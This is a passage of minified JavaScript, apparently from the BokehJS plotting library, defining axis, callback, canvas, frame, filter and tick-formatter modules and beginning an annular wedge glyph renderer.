e.loc}),1<n.levels&&(l.tops[t]=a.tops),l.tops[i]=a.tops.map(function(t){return e.loc}),l},enumerable:!0,configurable:!0}),t}(r.Axis);(i.CategoricalAxis=h).initClass()},function(t,e,i){var n=t(391),r=t(79),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ContinuousAxis\\\"},t}(r.Axis);(i.ContinuousAxis=o).initClass()},function(t,e,i){var n=t(391),r=t(84),o=t(106),s=t(211),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(r.LinearAxisView);i.DatetimeAxisView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"DatetimeAxis\\\",this.prototype.default_view=a,this.override({ticker:function(){return new s.DatetimeTicker},formatter:function(){return new o.DatetimeTickFormatter}})},t}(r.LinearAxis);(i.DatetimeAxis=l).initClass()},function(t,e,i){var n=t(79);i.Axis=n.Axis;var r=t(80);i.CategoricalAxis=r.CategoricalAxis;var o=t(81);i.ContinuousAxis=o.ContinuousAxis;var s=t(82);i.DatetimeAxis=s.DatetimeAxis;var a=t(84);i.LinearAxis=a.LinearAxis;var l=t(85);i.LogAxis=l.LogAxis;var h=t(86);i.MercatorAxis=h.MercatorAxis},function(t,e,i){var n=t(391),r=t(79),o=t(81),s=t(104),a=t(207),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(r.AxisView);i.LinearAxisView=l;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LinearAxis\\\",this.prototype.default_view=l,this.override({ticker:function(){return new a.BasicTicker},formatter:function(){return new s.BasicTickFormatter}})},t}(o.ContinuousAxis);(i.LinearAxis=h).initClass()},function(t,e,i){var n=t(391),r=t(79),o=t(81),s=t(109),a=t(215),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(r.AxisView);i.LogAxisView=l;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LogAxis\\\",this.prototype.default_view=l,this.override({ticker:function(){return new a.LogTicker},formatter:function(){return new s.LogTickFormatter}})},t}(o.ContinuousAxis);(i.LogAxis=h).initClass()},function(t,e,i){var n=t(391),r=t(79),o=t(84),s=t(110),a=t(216),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(r.AxisView);i.MercatorAxisView=l;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"MercatorAxis\\\",this.prototype.default_view=l,this.override({ticker:function(){return new a.MercatorTicker({dimension:\\\"lat\\\"})},formatter:function(){return new s.MercatorTickFormatter({dimension:\\\"lat\\\"})}})},t}(o.LinearAxis);(i.MercatorAxis=h).initClass()},function(t,e,i){var n=t(391),r=t(59),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Callback\\\"},t}(r.Model);(i.Callback=o).initClass()},function(i,t,e){var n=i(391),r=i(87),o=i(15),s=i(32),a=i(38),l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CustomJS\\\",this.define({args:[o.Any,{}],code:[o.String,\\\"\\\"],use_strict:[o.Boolean,!1]})},Object.defineProperty(t.prototype,\\\"names\\\",{get:function(){return s.keys(this.args)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"values\\\",{get:function(){return s.values(this.args)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"func\\\",{get:function(){var t=this.use_strict?a.use_strict(this.code):this.code;return new(Function.bind.apply(Function,[void 0].concat(this.names,[\\\"cb_obj\\\",\\\"cb_data\\\",\\\"require\\\",\\\"exports\\\",t])))},enumerable:!0,configurable:!0}),t.prototype.execute=function(t,e){return this.func.apply(t,this.values.concat(t,e,i,{}))},t}(r.Callback);(e.CustomJS=l).initClass()},function(t,e,i){var n=t(88);i.CustomJS=n.CustomJS;var r=t(90);i.OpenURL=r.OpenURL},function(t,e,i){var n=t(391),r=t(87),o=t(15),s=t(35),a=t(40),l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"OpenURL\\\",this.define({url:[o.String,\\\"http://\\\"]})},t.prototype.execute=function(t,e){for(var i=0,n=s.get_indices(e.source);i<n.length;i++){var r=n[i],o=a.replace_placeholders(this.url,e.source,r);window.open(o)}return null},t}(r.Callback);(i.OpenURL=l).initClass()},function(t,e,i){var n=t(391),r=t(11),o=t(6),s=t(13),a=t(14),l=t(15),h=t(5),u=t(26);null!=window.CanvasPixelArray&&(window.CanvasPixelArray.prototype.set=function(t){for(var e=0;e<this.length;e++)this[e]=t[e]});var c=function(i){function t(){return null!==i&&i.apply(this,arguments)||this}return n.__extends(t,i),Object.defineProperty(t.prototype,\\\"ctx\\\",{get:function(){return this._ctx},enumerable:!0,configurable:!0}),t.prototype.initialize=function(t){switch(i.prototype.initialize.call(this,t),this.map_el=this.model.map?this.el.appendChild(h.div({class:\\\"bk-canvas-map\\\"})):null,this.model.output_backend){case\\\"canvas\\\":case\\\"webgl\\\":this.canvas_el=this.el.appendChild(h.canvas({class:\\\"bk-canvas\\\"}));var e=this.canvas_el.getContext(\\\"2d\\\");if(null==e)throw new Error(\\\"unable to obtain 2D rendering context\\\");this._ctx=e;break;case\\\"svg\\\":var e=new u.SVGRenderingContext2D;this._ctx=e,this.canvas_el=this.el.appendChild(e.getSvg())}this.overlays_el=this.el.appendChild(h.div({class:\\\"bk-canvas-overlays\\\"})),this.events_el=this.el.appendChild(h.div({class:\\\"bk-canvas-events\\\"})),u.fixup_ctx(this._ctx),a.logger.debug(\\\"CanvasView initialized\\\")},t.prototype.css_classes=function(){return i.prototype.css_classes.call(this).concat(\\\"bk-canvas-wrapper\\\")},t.prototype.get_canvas_element=function(){return this.canvas_el},t.prototype.prepare_canvas=function(){var t=this.model._width.value,e=this.model._height.value;this.el.style.width=t+\\\"px\\\",this.el.style.height=e+\\\"px\\\";var i=u.get_scale_ratio(this.ctx,this.model.use_hidpi,this.model.output_backend);this.model.pixel_ratio=i,this.canvas_el.style.width=t+\\\"px\\\",this.canvas_el.style.height=e+\\\"px\\\",this.canvas_el.setAttribute(\\\"width\\\",\\\"\\\"+t*i),this.canvas_el.setAttribute(\\\"height\\\",\\\"\\\"+e*i),a.logger.debug(\\\"Rendering CanvasView with width: \\\"+t+\\\", height: \\\"+e+\\\", pixel ratio: \\\"+i)},t.prototype.set_dims=function(t){var e=t[0],i=t[1];e<=0||i<=0||(e!=this.model._width.value&&(null!=this._width_constraint&&this.solver.has_constraint(this._width_constraint)&&this.solver.remove_constraint(this._width_constraint),this._width_constraint=s.EQ(this.model._width,-e),this.solver.add_constraint(this._width_constraint)),i!=this.model._height.value&&(null!=this._height_constraint&&this.solver.has_constraint(this._height_constraint)&&this.solver.remove_constraint(this._height_constraint),this._height_constraint=s.EQ(this.model._height,-i),this.solver.add_constraint(this._height_constraint)),this.solver.update_variables())},t}(o.DOMView);i.CanvasView=c;var _=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Canvas\\\",this.prototype.default_view=c,this.internal({map:[l.Boolean,!1],use_hidpi:[l.Boolean,!0],pixel_ratio:[l.Number,1],output_backend:[l.OutputBackend,\\\"canvas\\\"]})},Object.defineProperty(t.prototype,\\\"panel\\\",{get:function(){return this},enumerable:!0,configurable:!0}),t}(r.LayoutCanvas);(i.Canvas=_).initClass()},function(t,e,i){var n=t(391),a=t(190),l=t(192),h=t(193),u=t(184),c=t(180),_=t(181),r=t(11),o=t(15),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CartesianFrame\\\",this.internal({extra_x_ranges:[o.Any,{}],extra_y_ranges:[o.Any,{}],x_range:[o.Instance],y_range:[o.Instance],x_scale:[o.Instance],y_scale:[o.Instance]})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this._configure_scales()},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.change,function(){return t._configure_scales()})},Object.defineProperty(t.prototype,\\\"panel\\\",{get:function(){return this},enumerable:!0,configurable:!0}),t.prototype.get_editables=function(){return e.prototype.get_editables.call(this).concat([this._width,this._height])},t.prototype.map_to_screen=function(t,e,i,n){void 0===i&&(i=\\\"default\\\"),void 0===n&&(n=\\\"default\\\");var r=this.xscales[i].v_compute(t),o=this.yscales[n].v_compute(e);return[r,o]},t.prototype._get_ranges=function(t,e){var i={};if(i.default=t,null!=e)for(var n in e)i[n]=e[n];return i},t.prototype._get_scales=function(t,e,i){var n={};for(var r in e){var o=e[r];if(o instanceof c.DataRange1d||o instanceof u.Range1d){if(!(t instanceof h.LogScale||t instanceof l.LinearScale))throw new Error(\\\"Range \\\"+o.type+\\\" is incompatible is Scale \\\"+t.type);if(t instanceof a.CategoricalScale)throw new Error(\\\"Range \\\"+o.type+\\\" is incompatible is Scale \\\"+t.type)}if(o instanceof _.FactorRange&&!(t instanceof a.CategoricalScale))throw new Error(\\\"Range \\\"+o.type+\\\" is incompatible is Scale \\\"+t.type);t instanceof h.LogScale&&o instanceof c.DataRange1d&&(o.scale_hint=\\\"log\\\");var s=t.clone();s.setv({source_range:o,target_range:i}),n[r]=s}return n},t.prototype._configure_frame_ranges=function(){this._h_target=new u.Range1d({start:this._left.value,end:this._right.value}),this._v_target=new u.Range1d({start:this._bottom.value,end:this._top.value})},t.prototype._configure_scales=function(){this._configure_frame_ranges(),this._x_ranges=this._get_ranges(this.x_range,this.extra_x_ranges),this._y_ranges=this._get_ranges(this.y_range,this.extra_y_ranges),this._xscales=this._get_scales(this.x_scale,this._x_ranges,this._h_target),this._yscales=this._get_scales(this.y_scale,this._y_ranges,this._v_target)},t.prototype.update_scales=function(){for(var t in this._configure_frame_ranges(),this._xscales){var e=this._xscales[t];e.target_range=this._h_target}for(var i in this._yscales){var e=this._yscales[i];e.target_range=this._v_target}},Object.defineProperty(t.prototype,\\\"x_ranges\\\",{get:function(){return this._x_ranges},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"y_ranges\\\",{get:function(){return this._y_ranges},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"xscales\\\",{get:function(){return this._xscales},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"yscales\\\",{get:function(){return this._yscales},enumerable:!0,configurable:!0}),t}(r.LayoutCanvas);(i.CartesianFrame=s).initClass()},function(t,e,i){var n=t(91);i.Canvas=n.Canvas;var r=t(92);i.CartesianFrame=r.CartesianFrame},function(t,e,i){var n=t(391),r=t(95),o=t(15),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CumSum\\\",this.define({field:[o.String],include_zero:[o.Boolean,!1]})},t.prototype._v_compute=function(t){var e=new Float64Array(t.get_length()||0),i=t.data[this.field],n=this.include_zero?1:0;e[0]=this.include_zero?0:i[0];for(var r=1;r<e.length;r++)e[r]=e[r-1]+i[r-n];return e},t}(r.Expression);(i.CumSum=s).initClass()},function(t,e,i){var n=t(391),r=t(59),o=function(i){function t(t){var e=i.call(this,t)||this;return e._connected={},e._result={},e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"Expression\\\"},t.prototype.initialize=function(){i.prototype.initialize.call(this),this._connected={},this._result={}},t.prototype.v_compute=function(t){var e=this;null==this._connected[t.id]&&(this.connect(t.change,function(){return delete e._result[t.id]}),this.connect(t.patching,function(){return delete e._result[t.id]}),this.connect(t.streaming,function(){return delete e._result[t.id]}),this._connected[t.id]=!0);var i=this._result[t.id];return null==i&&(this._result[t.id]=i=this._v_compute(t)),i},t}(r.Model);(i.Expression=o).initClass()},function(t,e,i){var n=t(95);i.Expression=n.Expression;var r=t(97);i.Stack=r.Stack;var o=t(94);i.CumSum=o.CumSum},function(t,e,i){var n=t(391),r=t(95),o=t(15),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Stack\\\",this.define({fields:[o.Array,[]]})},t.prototype._v_compute=function(t){for(var e=new Float64Array(t.get_length()||0),i=0,n=this.fields;i<n.length;i++)for(var r=n[i],o=0;o<t.data[r].length;o++){var s=t.data[r][o];e[o]+=s}return e},t}(r.Expression);(i.Stack=s).initClass()},function(t,e,i){var n=t(391),r=t(100),o=t(15),s=t(14),a=t(21),l=t(44),h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"BooleanFilter\\\",this.define({booleans:[o.Array,null]})},t.prototype.compute_indices=function(t){var e=this.booleans;return null!=e&&0<e.length?a.all(e,l.isBoolean)?(e.length!==t.get_length()&&s.logger.warn(\\\"BooleanFilter \\\"+this.id+\\\": length of booleans doesn't match data source\\\"),a.range(0,e.length).filter(function(t){return!0===e[t]})):(s.logger.warn(\\\"BooleanFilter \\\"+this.id+\\\": booleans should be array of booleans, defaulting to no filtering\\\"),null):(null!=e&&0==e.length?s.logger.warn(\\\"BooleanFilter \\\"+this.id+\\\": booleans is empty, defaulting to no filtering\\\"):s.logger.warn(\\\"BooleanFilter \\\"+this.id+\\\": booleans was not set, defaulting to no filtering\\\"),null)},t}(r.Filter);(i.BooleanFilter=h).initClass()},function(i,t,e){var n=i(391),r=i(100),o=i(15),s=i(32),a=i(38),l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CustomJSFilter\\\",this.define({args:[o.Any,{}],code:[o.String,\\\"\\\"],use_strict:[o.Boolean,!1]})},Object.defineProperty(t.prototype,\\\"names\\\",{get:function(){return s.keys(this.args)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"values\\\",{get:function(){return s.values(this.args)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"func\\\",{get:function(){var t=this.use_strict?a.use_strict(this.code):this.code;return new(Function.bind.apply(Function,[void 0].concat(this.names,[\\\"source\\\",\\\"require\\\",\\\"exports\\\",t])))},enumerable:!0,configurable:!0}),t.prototype.compute_indices=function(t){return this.filter=this.func.apply(this,this.values.concat([t,i,{}])),e.prototype.compute_indices.call(this,t)},t}(r.Filter);(e.CustomJSFilter=l).initClass()},function(t,e,i){var n=t(391),r=t(59),o=t(15),s=t(44),a=t(21),l=t(14),h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Filter\\\",this.define({filter:[o.Array,null]})},t.prototype.compute_indices=function(t){var e=this.filter;return null!=e&&0<=e.length?s.isArrayOf(e,s.isBoolean)?a.range(0,e.length).filter(function(t){return!0===e[t]}):s.isArrayOf(e,s.isInteger)?e:(l.logger.warn(\\\"Filter \\\"+this.id+\\\": filter should either be array of only booleans or only integers, defaulting to no filtering\\\"),null):(l.logger.warn(\\\"Filter \\\"+this.id+\\\": filter was not set to be an array, defaulting to no filtering\\\"),null)},t}(r.Model);(i.Filter=h).initClass()},function(t,e,i){var n=t(391),r=t(100),o=t(15),s=t(14),a=t(21),l=function(i){function t(t){var e=i.call(this,t)||this;return e.indices=null,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"GroupFilter\\\",this.define({column_name:[o.String],group:[o.String]})},t.prototype.compute_indices=function(t){var e=this,i=t.get_column(this.column_name);return null==i?(s.logger.warn(\\\"group filter: groupby column not found in data source\\\"),null):(this.indices=a.range(0,t.get_length()||0).filter(function(t){return i[t]===e.group}),0===this.indices.length&&s.logger.warn(\\\"group filter: group '\\\"+this.group+\\\"' did not match any values in column '\\\"+this.column_name+\\\"'\\\"),this.indices)},t}(r.Filter);(i.GroupFilter=l).initClass()},function(t,e,i){var n=t(98);i.BooleanFilter=n.BooleanFilter;var r=t(99);i.CustomJSFilter=r.CustomJSFilter;var o=t(100);i.Filter=o.Filter;var s=t(101);i.GroupFilter=s.GroupFilter;var a=t(103);i.IndexFilter=a.IndexFilter},function(t,e,i){var n=t(391),r=t(100),o=t(15),s=t(14),a=t(44),l=t(21),h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"IndexFilter\\\",this.define({indices:[o.Array,null]})},t.prototype.compute_indices=function(t){return null!=this.indices&&0<=this.indices.length?l.all(this.indices,a.isInteger)?this.indices:(s.logger.warn(\\\"IndexFilter \\\"+this.id+\\\": indices should be array of integers, defaulting to no filtering\\\"),null):(s.logger.warn(\\\"IndexFilter \\\"+this.id+\\\": indices was not set, defaulting to no filtering\\\"),null)},t}(r.Filter);(i.IndexFilter=h).initClass()},function(t,e,i){var n=t(391),r=t(113),o=t(15),f=t(44),s=function(i){function t(t){var e=i.call(this,t)||this;return e.last_precision=3,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"BasicTickFormatter\\\",this.define({precision:[o.Any,\\\"auto\\\"],use_scientific:[o.Bool,!0],power_limit_high:[o.Number,5],power_limit_low:[o.Number,-3]})},Object.defineProperty(t.prototype,\\\"scientific_limit_low\\\",{get:function(){return Math.pow(10,this.power_limit_low)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"scientific_limit_high\\\",{get:function(){return Math.pow(10,this.power_limit_high)},enumerable:!0,configurable:!0}),t.prototype.doFormat=function(t,e){if(0==t.length)return[];var i=0;2<=t.length&&(i=Math.abs(t[1]-t[0])/1e4);var n=!1;if(this.use_scientific)for(var r=0,o=t;r<o.length;r++){var s=o[r],a=Math.abs(s);if(i<a&&(a>=this.scientific_limit_high||a<=this.scientific_limit_low)){n=!0;break}}var l=new Array(t.length),h=this.precision;if(null==h||f.isNumber(h))if(n)for(var u=0,c=t.length;u<c;u++)l[u]=t[u].toExponential(h||void 0);else for(var u=0,c=t.length;u<c;u++)l[u]=t[u].toFixed(h||void 0).replace(/(\\\\.[0-9]*?)0+$/,\\\"$1\\\").replace(/\\\\.$/,\\\"\\\");else for(var _=this.last_precision,p=this.last_precision<=15;p?_<=15:15<=_;p?_++:_--){var d=!0;if(n){for(var u=0,c=t.length;u<c;u++)if(l[u]=t[u].toExponential(_),0<u&&l[u]===l[u-1]){d=!1;break}if(d)break}else{for(var u=0,c=t.length;u<c;u++)if(l[u]=t[u].toFixed(_).replace(/(\\\\.[0-9]*?)0+$/,\\\"$1\\\").replace(/\\\\.$/,\\\"\\\"),0<u&&l[u]==l[u-1]){d=!1;break}if(d)break}if(d){this.last_precision=_;break}}return l},t}(r.TickFormatter);(i.BasicTickFormatter=s).initClass()},function(t,e,i){var n=t(391),r=t(113),o=t(21),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CategoricalTickFormatter\\\"},t.prototype.doFormat=function(t,e){return o.copy(t)},t}(r.TickFormatter);(i.CategoricalTickFormatter=s).initClass()},function(t,e,i){var n=t(391),r=t(389),w=t(390),o=t(113),k=t(14),s=t(15),a=t(21),l=t(44);function S(t,e){if(l.isFunction(e))return e(t);var i,n=r.sprintf(\\\"$1%06d\\\",(i=t,Math.round(i/1e3%1*1e6)));return-1==(e=e.replace(/((^|[^%])(%%)*)%f/,n)).indexOf(\\\"%\\\")?e:w(t,e)}var C=[\\\"microseconds\\\",\\\"milliseconds\\\",\\\"seconds\\\",\\\"minsec\\\",\\\"minutes\\\",\\\"hourmin\\\",\\\"hours\\\",\\\"days\\\",\\\"months\\\",\\\"years\\\"],h=function(i){function t(t){var e=i.call(this,t)||this;return e.strip_leading_zeros=!0,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"DatetimeTickFormatter\\\",this.define({microseconds:[s.Array,[\\\"%fus\\\"]],milliseconds:[s.Array,[\\\"%3Nms\\\",\\\"%S.%3Ns\\\"]],seconds:[s.Array,[\\\"%Ss\\\"]],minsec:[s.Array,[\\\":%M:%S\\\"]],minutes:[s.Array,[\\\":%M\\\",\\\"%Mm\\\"]],hourmin:[s.Array,[\\\"%H:%M\\\"]],hours:[s.Array,[\\\"%Hh\\\",\\\"%H:%M\\\"]],days:[s.Array,[\\\"%m/%d\\\",\\\"%a%d\\\"]],months:[s.Array,[\\\"%m/%Y\\\",\\\"%b %Y\\\"]],years:[s.Array,[\\\"%Y\\\"]]})},t.prototype.initialize=function(){i.prototype.initialize.call(this),this._update_width_formats()},t.prototype._update_width_formats=function(){var n=+w(new Date),t=function(t){var e=t.map(function(t){return S(n,t).length}),i=a.sortBy(a.zip(e,t),function(t){var e=t[0];return e});return a.unzip(i)};this._width_formats={microseconds:t(this.microseconds),milliseconds:t(this.milliseconds),seconds:t(this.seconds),minsec:t(this.minsec),minutes:t(this.minutes),hourmin:t(this.hourmin),hours:t(this.hours),days:t(this.days),months:t(this.months),years:t(this.years)}},t.prototype._get_resolution_str=function(t,e){var i=1.1*t;switch(!1){case!(i<.001):return\\\"microseconds\\\";case!(i<1):return\\\"milliseconds\\\";case!(i<60):return 60<=e?\\\"minsec\\\":\\\"seconds\\\";case!(i<3600):return 3600<=e?\\\"hourmin\\\":\\\"minutes\\\";case!(i<86400):return\\\"hours\\\";case!(i<2678400):return\\\"days\\\";case!(i<31536e3):return\\\"months\\\";default:return\\\"years\\\"}},t.prototype.doFormat=function(t,e){if(0==t.length)return[];for(var i=Math.abs(t[t.length-1]-t[0])/1e3,n=i/(t.length-1),r=this._get_resolution_str(n,i),o=this._width_formats[r],s=o[1][0],a=[],l=C.indexOf(r),h={},u=0,c=C;u<c.length;u++){var _=c[u];h[_]=0}h.seconds=5,h.minsec=4,h.minutes=4,h.hourmin=3,h.hours=3;for(var p=0,d=t;p<d.length;p++){var f=d[p],v=void 0,m=void 0;try{m=w(f,\\\"%Y %m %d %H %M %S\\\").split(/\\\\s+/).map(function(t){return parseInt(t,10)}),v=S(f,s)}catch(t){k.logger.warn(\\\"unable to format tick for timestamp value \\\"+f),k.logger.warn(\\\" - \\\"+t),a.push(\\\"ERR\\\");continue}for(var g=!1,y=l;0==m[h[C[y]]];){var b=void 0;if((y+=1)==C.length)break;if((\\\"minsec\\\"==r||\\\"hourmin\\\"==r)&&!g){if(\\\"minsec\\\"==r&&0==m[4]&&0!=m[5]||\\\"hourmin\\\"==r&&0==m[3]&&0!=m[4]){b=this._width_formats[C[l-1]][1][0],v=S(f,b);break}g=!0}b=this._width_formats[C[y]][1][0],v=S(f,b)}if(this.strip_leading_zeros){var x=v.replace(/^0+/g,\\\"\\\");x!=v&&isNaN(parseInt(x))&&(x=\\\"0\\\"+x),a.push(x)}else a.push(v)}return a},t}(o.TickFormatter);(i.DatetimeTickFormatter=h).initClass()},function(o,t,e){var i=o(391),n=o(113),r=o(15),s=o(32),a=o(38),l=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"FuncTickFormatter\\\",this.define({args:[r.Any,{}],code:[r.String,\\\"\\\"],use_strict:[r.Boolean,!1]})},Object.defineProperty(t.prototype,\\\"names\\\",{get:function(){return s.keys(this.args)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"values\\\",{get:function(){return s.values(this.args)},enumerable:!0,configurable:!0}),t.prototype._make_func=function(){var t=this.use_strict?a.use_strict(this.code):this.code;return new(Function.bind.apply(Function,[void 0,\\\"tick\\\",\\\"index\\\",\\\"ticks\\\"].concat(this.names,[\\\"require\\\",\\\"exports\\\",t])))},t.prototype.doFormat=function(t,e){var n=this,r=this._make_func().bind({});return t.map(function(t,e,i){return r.apply(void 0,[t,e,i].concat(n.values,[o,{}]))})},t}(n.TickFormatter);(e.FuncTickFormatter=l).initClass()},function(t,e,i){var n=t(104);i.BasicTickFormatter=n.BasicTickFormatter;var r=t(105);i.CategoricalTickFormatter=r.CategoricalTickFormatter;var o=t(106);i.DatetimeTickFormatter=o.DatetimeTickFormatter;var s=t(107);i.FuncTickFormatter=s.FuncTickFormatter;var a=t(109);i.LogTickFormatter=a.LogTickFormatter;var l=t(110);i.MercatorTickFormatter=l.MercatorTickFormatter;var h=t(111);i.NumeralTickFormatter=h.NumeralTickFormatter;var u=t(112);i.PrintfTickFormatter=u.PrintfTickFormatter;var c=t(113);i.TickFormatter=c.TickFormatter},function(t,e,i){var n=t(391),r=t(113),o=t(104),s=t(14),a=t(15),l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LogTickFormatter\\\",this.define({ticker:[a.Instance,null]})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this.basic_formatter=new o.BasicTickFormatter,null==this.ticker&&s.logger.warn(\\\"LogTickFormatter not configured with a ticker, using default base of 10 (labels will be incorrect if ticker base is not 10)\\\")},t.prototype.doFormat=function(t,e){if(0==t.length)return[];for(var i=null!=this.ticker?this.ticker.base:10,n=!1,r=new Array(t.length),o=0,s=t.length;o<s;o++)if(r[o]=i+\\\"^\\\"+Math.round(Math.log(t[o])/Math.log(i)),0<o&&r[o]==r[o-1]){n=!0;break}return n?this.basic_formatter.doFormat(t,e):r},t}(r.TickFormatter);(i.LogTickFormatter=l).initClass()},function(t,e,i){var n=t(391),r=t(104),o=t(15),h=t(33),s=function(l){function t(t){return l.call(this,t)||this}return n.__extends(t,l),t.initClass=function(){this.prototype.type=\\\"MercatorTickFormatter\\\",this.define({dimension:[o.LatLon]})},t.prototype.doFormat=function(t,e){if(null==this.dimension)throw new Error(\\\"MercatorTickFormatter.dimension not configured\\\");if(0==t.length)return[];var i=t.length,n=new Array(i);if(\\\"lon\\\"==this.dimension)for(var r=0;r<i;r++){var o=h.wgs84_mercator.inverse([t[r],e.loc])[0];n[r]=o}else for(var r=0;r<i;r++){var s=h.wgs84_mercator.inverse([e.loc,t[r]]),a=s[1];n[r]=a}return l.prototype.doFormat.call(this,n,e)},t}(r.BasicTickFormatter);(i.MercatorTickFormatter=s).initClass()},function(t,e,i){var n=t(391),o=t(361),r=t(113),s=t(15),a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"NumeralTickFormatter\\\",this.define({format:[s.String,\\\"0,0\\\"],language:[s.String,\\\"en\\\"],rounding:[s.String,\\\"round\\\"]})},Object.defineProperty(t.prototype,\\\"_rounding_fn\\\",{get:function(){switch(this.rounding){case\\\"round\\\":case\\\"nearest\\\":return Math.round;case\\\"floor\\\":case\\\"rounddown\\\":return Math.floor;case\\\"ceil\\\":case\\\"roundup\\\":return Math.ceil}},enumerable:!0,configurable:!0}),t.prototype.doFormat=function(t,e){var i=this.format,n=this.language,r=this._rounding_fn;return t.map(function(t){return o.format(t,i,n,r)})},t}(r.TickFormatter);(i.NumeralTickFormatter=a).initClass()},function(t,e,i){var n=t(391),r=t(389),o=t(113),s=t(15),a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"PrintfTickFormatter\\\",this.define({format:[s.String,\\\"%s\\\"]})},t.prototype.doFormat=function(t,e){var i=this;return t.map(function(t){return r.sprintf(i.format,t)})},t}(o.TickFormatter);(i.PrintfTickFormatter=a).initClass()},function(t,e,i){var n=t(391),r=t(59),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"TickFormatter\\\"},t}(r.Model);(i.TickFormatter=o).initClass()},function(t,e,i){var n=t(391),r=t(146),o=t(143),z=t(9),s=t(15),P=t(31),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._map_data=function(){\\\"data\\\"==this.model.properties.inner_radius.units?this.sinner_radius=this.sdist(this.renderer.xscale,this._x,this._inner_radius):this.sinner_radius=this._inner_radius,\\\"data\\\"==this.model.properties.outer_radius.units?this.souter_radius=this.sdist(this.renderer.xscale,this._x,this._outer_radius):this.souter_radius=this._outer_radius,this._angle=new Float32Array(this._start_angle.length);for(var t=0,e=this._start_angle.length;t<e;t++)this._angle[t]=this._end_angle[t]-this._start_angle[t]},e.prototype._render=function(t,e,i){for(var n=i.sx,r=i.sy,o=i._start_angle,s=i._angle,a=i.sinner_radius,l=i.souter_radius,h=this.model.properties.direction.value(),u=0,c=e;u<c.length;u++){var _=c[u];isNaN(n[_]+r[_]+a[_]+l[_]+o[_]+s[_])||(t.translate(n[_],r[_]),t.rotate(o[_]),t.moveTo(l[_],0),t.beginPath(),t.arc(0,0,l[_],0,s[_],h),t.rotate(s[_]),t.lineTo(a[_],0),t.arc(0,0,a[_],0,-s[_],!h),t.closePath(),t.rotate(-s[_]-o[_]),t.translate(-n[_],-r[_]),this.visuals.fill.doit&&(this.visuals.fill.set_vectorize(t,_),t.fill()),this.visuals.line.doit&&(this.visuals.line.set_vectorize(t,_),t.stroke()))}},e.prototype._hit_point=function(t){var e,i,n,r,o,s,a=t.sx,l=t.sy,h=this.renderer.xscale.invert(a),u=this.renderer.yscale.invert(l);if(\\\"data\\\"==this.model.properties.outer_radius.units)n=h-this.max_outer_radius,o=h+this.max_outer_radius,r=u-this.max_outer_radius,s=u+this.max_outer_radius;else{var c=a-this.max_outer_radius,_=a+this.max_outer_radius;e=this.renderer.xscale.r_invert(c,_),n=e[0],o=e[1];var p=l-this.max_outer_radius,d=l+this.max_outer_radius;i=this.renderer.yscale.r_invert(p,d),r=i[0],s=i[1]}for(var f=[],v=z.validate_bbox_coords([n,o],[r,s]),m=0,g=this.index.indices(v);m<g.length;m++){var 